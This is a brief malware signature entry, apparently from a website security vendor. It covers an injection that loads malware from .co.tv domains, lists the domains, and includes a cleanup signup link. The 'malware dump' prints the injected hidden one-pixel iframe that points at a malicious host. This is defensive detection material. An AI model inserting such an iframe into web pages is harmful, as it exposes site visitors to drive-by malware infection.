SiteCheck Signatures

  1. Home
  2. Signatures
  3. SiteCheck Signatures
  4. malware-entry-mwjs3022

malware-entry-mwjs3022

Description: Javascript included from a .co.tv domain, used to distribute malware.

Domains used:


http://vmvfonc.co.tv/?go=1
http://uhcmsgfq.co.tv
http://yswlifofj.co.tv

Affecting: Any web site (no traffic specified)

Clean up: Malware is generally hidden behind a base64 encoded block on PHP. Sign up here for our clean up: http://sucuri.net/signup

Malware dump:


<iframe width="1" height="1" src="http://vmvfonc.co.tv/?go=1"></iframe>;